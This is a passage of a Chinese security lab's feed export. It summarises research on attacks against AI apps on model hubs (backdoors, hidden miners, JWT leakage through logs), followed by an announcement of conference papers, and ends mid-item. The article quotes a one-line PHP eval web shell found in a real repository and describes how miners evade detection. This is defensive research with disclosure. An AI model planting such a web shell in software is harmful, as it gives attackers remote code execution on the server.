个应用的镜像里。</span></p></li><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;text-indent: 0em;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">后门</span></strong><span leaf="">：用 GuardDog 在仓库中发现 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">27</span></strong><span leaf=""> 个含明显后门行为的应用，部分存活逾一年。例如 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">edwagbb/code</span></span><span leaf=""> 的 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">index.php</span></span><span leaf=""> 含一行 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">&lt;?php @eval($_REQUEST[&#34;code&#34;]); ?&gt;</span></span><span leaf=""> 的后门，并被复制为 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">AZLABS/code</span></span><span leaf="">，使后门随复制扩散。</span></p></li><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;text-indent: 0em;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">挖矿</span></strong><span leaf="">：发现 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">43</span></strong><span leaf=""> 个嵌入挖矿代码的应用（Replicate 1 个、Hugging Face 42 个）。攻击者会在 Docker 构建阶段挖矿、把矿机重命名为 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">jupyter</span></span><span leaf="">/</span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">python</span></span><span leaf="">、或从网络动态下载矿机来规避检测。</span></p></li></ul><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">一个值得注意的放大案例</span></strong><span leaf="">：Hugging Face 官方训练应用 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">AutoTrain</span></strong><span leaf=""> 使用了 uvicorn 的默认日志配置（默认 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">access_log=True</span></span><span leaf="">），会把携带 JWT 的请求记进日志。而该应用被复制出了 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">32,678</span></strong><span leaf=""> 个下游应用，也就是说上游的一个日志配置选择会被复制到大量下游应用。结合日志渗漏，一旦开启 Dev Mode，攻击者就可能借日志中泄露的 JWT 访问 VSCode 开发面板，进而修改代码、窃取密钥与模型。</span></p><hr style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><div data-role="title" data-tools="135编辑器" data-id="172862" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="display: flex;z-index: 1;margin-bottom: -10px;"><div style="background-color: #90efff;padding: 3px 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align:center;"><strong><span leaf="">PART.06</span></strong></p></div></div></div><p style="width: 45px;margin-left: auto;margin-bottom: -25px;margin-right: 4px;margin-top: -28px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3983333333333334" data-type="gif" data-w="600" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005597" src="https://wechat2rss.xlab.app/img-proxy/?k=27d09704&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FQSjGzxHEMds1J61PlZ2UafN2qjg1LB6aaFQZBUSoQFyia4NV9sgOOStUxiaR7HovydJuC4JYmhk1YWdtoYO9vH76dpzc0Mtsw8nHnuNz6epKM%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="background: linear-gradient(to right,#0776ff,#838eff);padding: 10px 5px;margin-left: 5px;box-sizing:border-box;"><p style="font-size: 16px;color: rgb(255, 255, 255);text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 17px;">防御建议与负责人披露</span></span></strong></p></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们面向</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">平台、开发者、用户</span></strong><span leaf="">三方给出了防御建议：</span></p><ul style="padding: 0px 0px 0px 1em;margin: 0px;box-sizing: border-box;list-style: disc;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-2"><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">平台</span></strong><span leaf="">：落实最小权限；运行时日志不应向有读权限的用户暴露；对无状态 JWT 提供令牌吊销能力；像移动操作系统那样为 iframe 引入显式权限声明与用户同意；用 Pysa/CodeQL 等检测不安全输入；谨慎管理删除账号与标识符复用，参照 GitHub 限制高影响标识符的再分配；实现类似 CI/CD 的</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">日志密钥脱敏</span></strong><span leaf="">。</span></p></li><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">开发者</span></strong><span leaf="">：避免在源码或镜像中硬编码敏感数据，改用平台密钥管理或 AWS Secrets Manager、HashiCorp Vault 等方案。</span></p></li><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">用户</span></strong><span leaf="">：意识到公开应用可能与他人共享运行环境，处理敏感数据时先看源码，必要时克隆为私有实例再用。</span></p></li></ul><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">伦理与披露方面，我们全程只在</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">自有账号与应用</span></strong><span leaf="">上做验证，未触碰第三方资源，并已向相关方负责任披露：向 Hugging Face 报告了授权类漏洞、向三个平台报告了输入注入问题；</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">Hugging Face </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">已修复多个问题，并奖励了 2,369 </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">美元漏洞赏金</span></strong><span leaf="">。针对 27 个后门应用通报平台，已促成 8 个下架；我们还面向受影响开发者累计发出 643 封披露邮件，并联系上 9 个受标识符复用影响网站中的 8 个。</span></p><hr style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><div data-role="title" data-tools="135编辑器" data-id="172862" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="display: flex;z-index: 1;margin-bottom: -10px;"><div style="background-color: #90efff;padding: 3px 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align:center;"><strong><span leaf="">PART.07</span></strong></p></div></div></div><p style="width: 45px;margin-left: auto;margin-bottom: -25px;margin-right: 4px;margin-top: -28px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3983333333333334" data-type="gif" data-w="600" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005594" src="https://wechat2rss.xlab.app/img-proxy/?k=a2325580&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FQSjGzxHEMduqDYufx5M4RA8nDlvtFiaxPTdrebIPcicxNgvlZibib01v3cDc5vNdXMrysaDJ6QT50jEIQ12CghHdfcxwSyxqyx5RhIIH2siaPSPA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="background: linear-gradient(to right,#0776ff,#838eff);padding: 10px 5px;margin-left: 5px;box-sizing:border-box;"><p style="font-size: 16px;color: rgb(255, 255, 255);text-align: left;"><span leaf=""><span textstyle="" style="font-size: 17px;font-weight: bold;">结语</span></span></p></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们对预训练模型平台上的 AI 应用生态做了一次较系统的安全梳理：当&#34;一键部署、一键复制&#34;的便利，遇上第三方开发者、薄弱隔离与随意配置，平台的一些架构设计选择就可能被利用，影响平台、开发者和用户三方。我们从近百万个应用中识别出数千个潜在问题，并已向相关方披露、得到了一定的修复反馈。对于 AI 应用这一仍在快速扩张的场景，相关方有必要重新审视这一容易被忽视的攻击面。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">论文链接：<a href="https://arxiv.org/abs/2606.30373" target="_blank">https://arxiv.org/abs/2606.30373</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=41fe0fc0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489250%26idx%3D1%26sn%3D64e47d5bfb4c4335825f64e873ff5a36">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Jul 2026 18:43:00 +0800</pubDate>
    </item>
    <item>
      <title>【喜报】3篇研究成果被国际顶级会议ACM CCS 2026录用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489218&amp;idx=1&amp;sn=c577672a2ebe15cb66e81e5ac712f3ae</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-06-10 19:39</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=08ca787a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdtpicXJuZLzR9B5WLltPNN6y5kHz4GibsPSIPicwggfxkZUwPqkBQ7SBs9AFViazlH92icpYvrwsKVgmco4oU3JVcxqtpAXSRsGicF8U%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-role="outer" label="Powered by 135editor.com onekey" style="box-sizing: border-box;background-color: rgb(185, 223, 249);padding: 0px;font-size: 16px;"><div><div data-tools="135编辑器" data-id="105041"><div data-role="absolute-layout" data-mode="svg" data-width="375" data-height="292" data-ratio="0.7786666666666666" style="-webkit-text-size-adjust:none;text-size-adjust:none;overflow:hidden;grid-template-rows:100%;grid-template-columns:100%;font-size:16px;display:grid;max-width:100% !important;width: 100%;background-color: #b9dff9;box-sizing:border-box;"><p data-role="block" style="width:100%;margin-top:19.216%;margin-left:-0.5333343333333334%;grid-row-start:1;grid-column-start:1;height:max-content;max-width:100% !important;line-height:0;display: block;font-size: 16px;z-index: 1;box-sizing:border-box;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="max-width:100% !important;display: inline-block;width: 100%;vertical-align: top;line-height: 1.6;overflow: visible;box-sizing:border-box;" version="1.1" viewBox="0 0 375 122" xmlns="http://www.w3.org/2000/svg"><foreignObject data-role="block-content" height="100%" width="100%"><div style="margin:0 auto;overflow:hidden;padding: 0.625em 0;box-sizing: border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div style="margin: 0em 0.417em;font-size: 1.5em;text-align: center;color: #0665e5ff;box-sizing: border-box;"><p style="box-sizing: border-box;letter-spacing: 0.0789475em;"><span style="letter-spacing: 0.0789475em;text-shadow: #ffffff 0.05em 0.05em 0em, #ffffff 0.05em -0.05em 0em, #ffffff 0.05em -0.05em 0em, #ffffff -0.05em 0.05em 0em, #ffffff -0.05em -0.05em 0em, #ffffff 0em 0.05em 0em, #ffffff 0em -0.05em 0em, #ffffff -0.05em 0em 0em, #ffffff 0.05em 0em 0em;font-size: 1.3333333333333333em;"><strong data-brushtype="title"><span leaf="">奇安信3篇研究成果获ACM CCS 2026录用</span></strong></span></p></div></div></div></foreignObject></svg></p><p data-role="block" style="width:81%;margin-top:53.06666666666666%;margin-left:9.866666666666667%;grid-row-start:1;grid-column-start:1;height:max-content;line-height:0;display: block;font-size: 16px;z-index: 2;box-sizing:border-box;max-width:81% !important;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="max-width:100% !important;display: inline-block;width: 100%;vertical-align: top;line-height: 1.6;overflow: visible;box-sizing:border-box;" version="1.1" viewBox="0 0 304 39" xmlns="http://www.w3.org/2000/svg"><foreignObject data-role="block-content" height="100%" width="100%"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1050328227571116" data-w="914" style="overflow:hidden;width: 100%;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ff0773d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fef2ubaQD7eCLlibapJKEeibfJuqGprjvjroFSmmjEB6zibkL4stbgFmuHjFrlJpnALR15A6XtG6Aps2lB8VLbBNNsKrdw3vicVzjJsZu72mjBJ8%2F640%3Ffrom%3Dappmsg"/></span></foreignObject></svg></p><p data-role="block" style="width:100%;margin-top:54.400000000000006%;margin-left:10.4%;grid-row-start:1;grid-column-start:1;height:max-content;max-width:100% !important;line-height:0;display: block;font-size: 16px;z-index: 3;box-sizing:border-box;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="max-width:100% !important;display: inline-block;width: 100%;vertical-align: top;line-height: 1.6;overflow: visible;box-sizing:border-box;" version="1.1" viewBox="0 0 375 25" xmlns="http://www.w3.org/2000/svg"><foreignObject data-role="block-content" height="100%" width="100%"><div style="overflow:hidden;text-align: center;"><div><p style="text-align:justify;font-size:0.875em;caret-color: #000000;color: #000000;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-indent: 0px;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;font-family:Aptos;"><span style="font-size:0.857em;color: #ffffff;"><span leaf="">ACM Conference on Computer and Communications Security</span></span></p></div></div></foreignObject></svg></p><p data-role="block" style="width:16%;margin-top:1.7919999999999998%;margin-left:86.91466666666668%;grid-row-start:1;grid-column-start:1;height:max-content;line-height:0;display: block;font-size: 16px;z-index: 4;box-sizing:border-box;max-width:16% !important;transform: scale(1);-webkit-transform: scale(1);-moz-transform: scale(1);-o-transform: scale(1);"><svg style="max-width:100% !important;display: inline-block;width: 100%;vertical-align: top;line-height: 1.6;overflow: visible;box-sizing:border-box;" version="1.1" viewBox="0 0 60 71" xmlns="http://www.w3.org/2000/svg"><foreignObject data-role="block-content" height="100%" width="100%"><div style="overflow:hidden;transform-origin: center center;transform: rotatey(180deg);-webkit-transform: rotatey(180deg);-moz-transform: rotatey(180deg);-o-transform: rotatey(180deg);"><div data-role="scale-fix" style="margin-bottom: 0em;margin-top: 0em;"><div style="text-align: center;"><p style="width: 3.75em;display: inline-block;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0674157303370786" data-w="89" style="width: 100%;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=67b4e63e&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2FKgpEibhlpeV8CjD6ibBPAozmVhcVtiaNiaguVteriag7kL4IFHduUl6iaxLSVibJTuP7qufSD3se7jrcndNfvHicf38h1xelvGGTmwiaK3wb4icOkFEibQ%2F640%3Ffrom%3Dappmsg"/></p></div></div></div></foreignObject></svg></p></div></div></div><div><div><div><div data-tools="135编辑器" data-id="172855" style="margin: 0px 14px 0px 10px;box-sizing: border-box;"><div style="margin: 10px auto;display: flex;flex-direction: column;"><p style="width: 30px;margin-bottom: -12px;z-index: 4;margin-left: 20px;box-sizing:border-box;transform: rotateY(180deg);-webkit-transform: rotateY(180deg);-moz-transform: rotateY(180deg);-o-transform: rotateY(180deg);" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9130434782608695" data-w="46" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=3a2cde20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCoXtiazlU2YibHibAjj2hp6gIWrJzuWjuESy1T5r0Y8fDhX9abO2q5RojZwBibsUqZXb4WH2RRTK62zXHoHbfn0qt1Q3xaialBXAqNrfao9dAM9Y%2F640%3Ffrom%3Dappmsg"/></p><div style="border: 1px solid #0574ff;padding: 20px;border-radius: 10px 0 0 0;background: linear-gradient(to bottom,#e8f4ff,#ffffff);margin: 0 4px;z-index: 3;box-sizing:border-box;"><div data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#333333;background-color: transparent;"><p><span leaf="">近日，国际顶级学术会议 ，系统安全四大顶会之一ACM CCS 2026（ACM Conference on Computer and Communications Security）公布会议第一轮录用结果，奇安信技术研究院合作完成的3篇论文被成功接受。 CCS 2026将于2026年11月15日至19日在荷兰海牙的世界论坛会议中心举办。此次多篇论文被录用，充分展现了奇安信技术研究院在网络安全学术研究与技术创新领域的深厚实力。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33796296296296297" data-type="gif" data-w="1080" type="block" data-imgfileid="100005567" src="https://wechat2rss.xlab.app/img-proxy/?k=2b5b4f24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvOYdCibLIY63XFNc2h8UPGvfiakjVpF15BnxxzrdbcRd8hxpZGCSia1BIaJmNOnd2rhaAddasKG9K5Ezyia6Cib8SgWrZ8nEK74jYM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div></div><div><div data-tools="135编辑器" data-id="148272"><div style="box-sizing: border-box;margin: 0px 0px -10px;"><p style="text-align: center;color: #0360ea;"><strong style="font-size: 18px;color: #0360ea;"><span leaf="">第一篇</span></strong></p></div><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="background: linear-gradient(to right, #0360ea, #0ef5cb);border-radius: 6px;padding: 5px 20px;box-sizing: border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div style="padding: 0 10px;box-sizing: border-box;"><div style="font-size: 16px;color: #ffffff;text-align: center;"><div data-brushtype="text"><p><span leaf="">预训练模型平台上AI应用程序的安全风险研究</span></p></div></div></div></div></div></div></div><div data-tools="135编辑器" data-id="160983" data-width="92%" style="width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:92% !important;"><div style="margin: 10px auto;"><div style="background-color: #ffffff;padding: 15px;box-sizing: border-box;"><div><div data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #333333;background-color: transparent;" data-index="0"><p><span leaf="">第一篇论文是由清华大学与奇安信星图实验室联合完成的AI安全实证研究工作，论文题目为《Your Space is My Zone: Demystifying the Security Risks of AI-Powered Applications on Pre-Trained Model Hubs》。本研究面向 Hugging Face、Replicate、ModelScope 等主流预训练模型平台上日益普及的&#34;AI应用&#34;（AI-Apps），首次系统性地揭示了这一新兴生态中被长期忽视的攻击面，并构建了大规模自动化分析框架 INSIGHTOR，充分证明了平台架构设计缺陷在真实环境中已被大量利用、严重威胁平台方、开发者与终端用户三方安全。</span></p></div></div><div><div><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4575402635431918" data-w="1366" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7c9bc026&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMduBgrdCuU3fQXgatQicpRrx3icFc5hJmQykWAFiaHqdXuFEqZW3D8yloIThn3Xibx4pmjAXPdoMZC1sRzR7w4mSyAdzibXQVCQjCHPg%2F640%3Ffrom%3Dappmsg"/></p></div></div><div><div data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #333333;background-color: transparent;" data-index="2"><p><span leaf="">AI应用将预训练模型与在线推理、微调服务封装为可经浏览器或API直接访问的云端服务，在降低使用门槛的同时，也因开发者不可信、隔离薄弱与配置错误引入了未被探索的安全风险。论文将AI应用的生命周期映射至 OWASP 与供应链等成熟风险框架，系统识别出五类威胁与十种攻击向量，其中包括三种此前从未被报告、由平台架构设计直接导致的新型向量——幽灵令牌（Ghost Token）、认证绕过（Authentication Bypass）与标识符复用（Identifier Reuse），并揭示了世界可读日志等传统问题在该生态中被独特放大的机理。论文基于 INSIGHTOR 对三大平台共计 972,546 个公开AI应用展开实测，发现 1,442 个允许任意代码执行的输入注入漏洞、936 个虽遵循官方密钥管理规范却仍因日志配置错误而泄露凭据的应用、27 个嵌入后门（部分存活逾一年并通过克隆功能传播）的应用，以及 139,475 个仍使用含已知RCE漏洞过时SDK的应用。所有发现均已负责任地披露至受影响方，并获得 Hugging Face 积极响应与 2,369 美元漏洞赏金，充分验证了其在真实场景下的实用价值与影响力。</span></p></div></div><div><div><p nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.21595900439238652" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-w="1366" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=94882ab1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdtHPyNuAUFS7l21FPd0HM9ibzURaBo2D3X4gf0RVUnlTvsFKSgQNcIpoRJw4CszEPsZ7AUKZ9vRny2abpI8MBWXNAk0pAeEu9iaw%2F640%3Ffrom%3Dappmsg"/></p></div></div></div></div></div></div><div><div data-tools="135编辑器" data-id="148272"><div style="box-sizing: border-box;margin: 0px 0px -10px;"><p style="text-align: center;color: #0360ea;"><strong style="font-size: 18px;color: #0360ea;"><span leaf="">第二篇</span></strong></p></div><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="background: linear-gradient(to right, #0360ea, #0ef5cb);border-radius: 6px;padding: 5px 20px;box-sizing: border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div style="padding: 0 10px;box-sizing: border-box;"><div style="font-size: 16px;color: #ffffff;text-align: center;"><div data-brushtype="text"><p><span leaf="">基于LLM的Fuzz Driver自动生成</span></p></div></div></div></div></div></div></div><div data-tools="135编辑器" data-id="160983" data-width="92%" style="width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:92% !important;"><div style="margin: 10px auto;"><div style="background-color: #ffffff;padding: 15px;box-sizing: border-box;"><div><div data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #333333;background-color: transparent;" data-index="0"><p><span leaf="">第二篇论文是由奇安信星图实验室、信息支援部队工程大学和武汉大学联合完成的源码模糊测试研究工作，论文题目为《Thinking More, Harnessing Better: Automatic Harness Generation with Dataflow Aggregation and Workflow Decomposition》。本研究主要揭示了现有基于大语言模型的fuzz harness生成方法中普遍存在的函数选择不准确和幻觉问题，并提出了一种融合数据流分析与工作流分解的突破性解决方案，充分证明了该方法在实际漏洞挖掘中的强大能力。</span></p></div></div><div><div><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.28390596745027125" data-w="553" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=8a82a96d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMduLkc0vU6aZQsau4VMe84MGibgpK2hd73ysIejHhnsICp5pdPB9VvM92Lrwt1SFkze7RUhBtXSF2g7ZJpqCuSQGxQ25Ra2pjdia0%2F640%3Ffrom%3Dappmsg"/></p></div></div><div><div 